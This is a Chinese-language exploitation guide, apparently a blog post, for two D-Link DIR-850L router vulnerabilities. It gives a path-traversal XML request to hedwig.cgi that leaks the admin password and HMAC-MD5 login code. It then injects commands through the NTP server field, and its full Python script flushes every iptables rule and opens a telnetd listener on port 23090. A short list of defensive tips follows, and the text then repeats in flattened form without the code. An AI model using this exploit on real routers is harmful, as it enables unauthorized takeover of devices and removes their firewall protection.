dlink850l两个漏洞获取shell
字数 793 2025-08-25 22:58:29

D-Link DIR-850L 路由器漏洞分析与利用指南

漏洞概述

D-Link DIR-850L 路由器存在两个关键漏洞,可被利用获取设备shell权限:

  1. 远程命令执行漏洞:通过未授权访问的hedwig.cgi接口执行任意命令
  2. 认证绕过漏洞:通过getcfg.php文件绕过认证获取管理员凭证

漏洞详细分析

1. hedwig.cgi远程命令执行漏洞

漏洞原理

  • 当管理员接口配置信息变更时,会以XML格式发送给hedwig.cgi
  • hedwig.cgi未对用户身份进行验证,允许非管理员发送XML数据
  • 处理流程:
    1. 接收用户XML请求
    2. 写入临时文件/var/tmp/temp.xml
    3. 调用xmldbc_read读取该文件
    4. 执行/htdocs/webinc/fatlady.php验证数据

关键代码分析

// hedwig.cgi主要处理流程
int hedwigcgi_main(void) {
  // 接收POST请求
  __s1 = getenv("REQUEST_METHOD");
  __fd_00 = strcasecmp(__s1,"POST");
  
  // 写入临时XML文件
  __stream = fopen("/var/tmp/temp.xml","w");
  fputs("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n",__stream);
  fprintf(__stream,"%s\n",__s1);
  
  // 读取并处理XML
  xmldbc_read((char *)0x0,2,"/var/tmp/temp.xml");
  remove("/var/tmp/temp.xml");
  
  // 执行fatlady.php
  snprintf(acStack1064,0x400,"/htdocs/webinc/fatlady.php\nprefix=%s/%s","/runtime/session",puVar2);
  xmldbc_ephp((char *)0x0,0,acStack1064,stdout);
}

fatlady.php漏洞点

foreach ($prefix."/postxml/module") {
    $service = query("service");
    $target = "/htdocs/phplib/fatlady/".$service.".php";
    if (isfile($target)==1) dophp("load", $target);
}
  • service参数未过滤,可通过路径遍历加载任意php文件

2. 认证绕过与命令执行漏洞

获取管理员凭证

  • 利用hedwig.cgi加载DEVICE.ACCOUNT.xml获取管理员密码:
<postxml>
<module>
    <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>
</module>
</postxml>

认证过程

  1. 获取challenge和uid:

    GET /authentication.cgi HTTP/1.1
    

    返回:

    {"status": "ok", "uid": "0764udul3Z", "challenge": "d4efd41c-4595-4a16-b5b5-0d90dca490ca"}
    
  2. 使用HMAC-MD5计算认证哈希:

    hmac.new(password, (username + challenge).encode(), "md5").hexdigest().upper()
    
  3. 发送认证请求:

    POST /authentication.cgi HTTP/1.1
    Cookie: uid=0764udul3Z
    
    id=Admin&password=7499059A6F694AD6117790A807038807
    

getcfg.php命令执行

  • 通过DEVICE.TIME.xml.php执行命令:
$server = query("/device/time/ntp/server");
// 可注入命令如:"metelesku; (iptables -F) & exit; "

漏洞利用步骤

1. 获取管理员密码

发送请求:

POST /hedwig.cgi HTTP/1.1
Content-Type: text/xml
Cookie: uid=demo

<?xml version="1.0" encoding="utf-8"?>
<postxml>
<module>
    <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>
</module>
</postxml>

2. 认证获取会话

# 获取challenge
resp = session.get(urljoin(TARGET, "/authentication.cgi"))
resp = json.loads(resp.text)

# 计算认证哈希
data = {
    "id": "Admin",
    "password": hmac.new(admin_pasw.encode(), 
                        ("Admin" + resp["challenge"]).encode(), 
                        "md5").hexdigest().upper()
}

# 发送认证请求
session.post(urljoin(TARGET, "/authentication.cgi"), data=data)

3. 执行任意命令

# 构造恶意XML
tree = lxml.etree.fromstring(resp.content)
tree.xpath("//ntp/enable")[0].text = "1"
tree.xpath("//ntp/server")[0].text = "metelesku; ("+COMMAND+") & exit; "

# 发送执行请求
session.post(urljoin(TARGET, "/hedwig.cgi"), 
            headers={"Content-Type": "text/xml"}, 
            data=lxml.etree.tostring(tree))

# 激活服务
session.post(urljoin(TARGET, "/pigwidgeon.cgi"), 
            data={"ACTIONS": "SETCFG,ACTIVATE"})

完整利用脚本

#!/usr/bin/env python3
import hmac
import json
import sys
from urllib.parse import urljoin
import lxml.etree
import requests

COMMAND = ";".join([
    "iptables -F",
    "iptables -X",
    "iptables -t nat -F",
    "iptables -t nat -X",
    "iptables -t mangle -F",
    "iptables -t mangle -X",
    "iptables -P INPUT ACCEPT",
    "iptables -P FORWARD ACCEPT",
    "iptables -P OUTPUT ACCEPT",
    "telnetd -p 23090 -l /bin/date"
])

# 1. 获取密码
headers = {"Content-Type": "text/xml"}
cookies = {"uid": "whatever"}
data = """<?xml version="1.0" encoding="utf-8"?>
<postxml><module><service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service></module></postxml>"""
resp = session.post(urljoin(TARGET, "./hedwig.cgi"), headers=headers, cookies=cookies, data=data)

# 2. 认证
resp = session.get(urljoin(TARGET, "/authentication.cgi"))
resp = json.loads(resp.text)
session.cookies.update({"uid": resp["uid"]})

data = {
    "id": "Admin",
    "password": hmac.new(admin_pasw.encode(), ("Admin" + resp["challenge"]).encode(), "md5").hexdigest().upper()
}
session.post(urljoin(TARGET, "/authentication.cgi"), data=data)

# 3. 命令执行
data = {"SERVICES": "DEVICE.TIME"}
resp = session.post(urljoin(TARGET, "/getcfg.php"), data=data)

tree = lxml.etree.fromstring(resp.content)
tree.xpath("//ntp/enable")[0].text = "1"
tree.xpath("//ntp/server")[0].text = "metelesku; ("+COMMAND+") & exit; "

session.post(urljoin(TARGET, "/hedwig.cgi"), headers={"Content-Type": "text/xml"}, data=lxml.etree.tostring(tree))
session.post(urljoin(TARGET, "/pigwidgeon.cgi"), data={"ACTIONS": "SETCFG,ACTIVATE"})

防护建议

  1. 对hedwig.cgi接口添加身份验证
  2. 对service参数进行严格过滤,防止路径遍历
  3. 更新固件至最新版本
  4. 禁用不必要的CGI接口
  5. 修改默认管理员密码

总结

该漏洞组合利用了两个关键问题:

  1. 未授权访问关键接口(hedwig.cgi)
  2. 不安全的动态文件加载机制
    通过精心构造的XML请求,攻击者可以完全控制路由器设备。建议用户及时更新固件并检查设备安全配置。
D-Link DIR-850L 路由器漏洞分析与利用指南 漏洞概述 D-Link DIR-850L 路由器存在两个关键漏洞,可被利用获取设备shell权限: 远程命令执行漏洞 :通过未授权访问的hedwig.cgi接口执行任意命令 认证绕过漏洞 :通过getcfg.php文件绕过认证获取管理员凭证 漏洞详细分析 1. hedwig.cgi远程命令执行漏洞 漏洞原理 当管理员接口配置信息变更时,会以XML格式发送给hedwig.cgi hedwig.cgi未对用户身份进行验证,允许非管理员发送XML数据 处理流程: 接收用户XML请求 写入临时文件/var/tmp/temp.xml 调用xmldbc_ read读取该文件 执行/htdocs/webinc/fatlady.php验证数据 关键代码分析 fatlady.php漏洞点 service 参数未过滤,可通过路径遍历加载任意php文件 2. 认证绕过与命令执行漏洞 获取管理员凭证 利用hedwig.cgi加载DEVICE.ACCOUNT.xml获取管理员密码: 认证过程 获取challenge和uid: 返回: 使用HMAC-MD5计算认证哈希: 发送认证请求: getcfg.php命令执行 通过DEVICE.TIME.xml.php执行命令: 漏洞利用步骤 1. 获取管理员密码 发送请求: 2. 认证获取会话 3. 执行任意命令 完整利用脚本 防护建议 对hedwig.cgi接口添加身份验证 对service参数进行严格过滤,防止路径遍历 更新固件至最新版本 禁用不必要的CGI接口 修改默认管理员密码 总结 该漏洞组合利用了两个关键问题: 未授权访问关键接口(hedwig.cgi) 不安全的动态文件加载机制 通过精心构造的XML请求,攻击者可以完全控制路由器设备。建议用户及时更新固件并检查设备安全配置。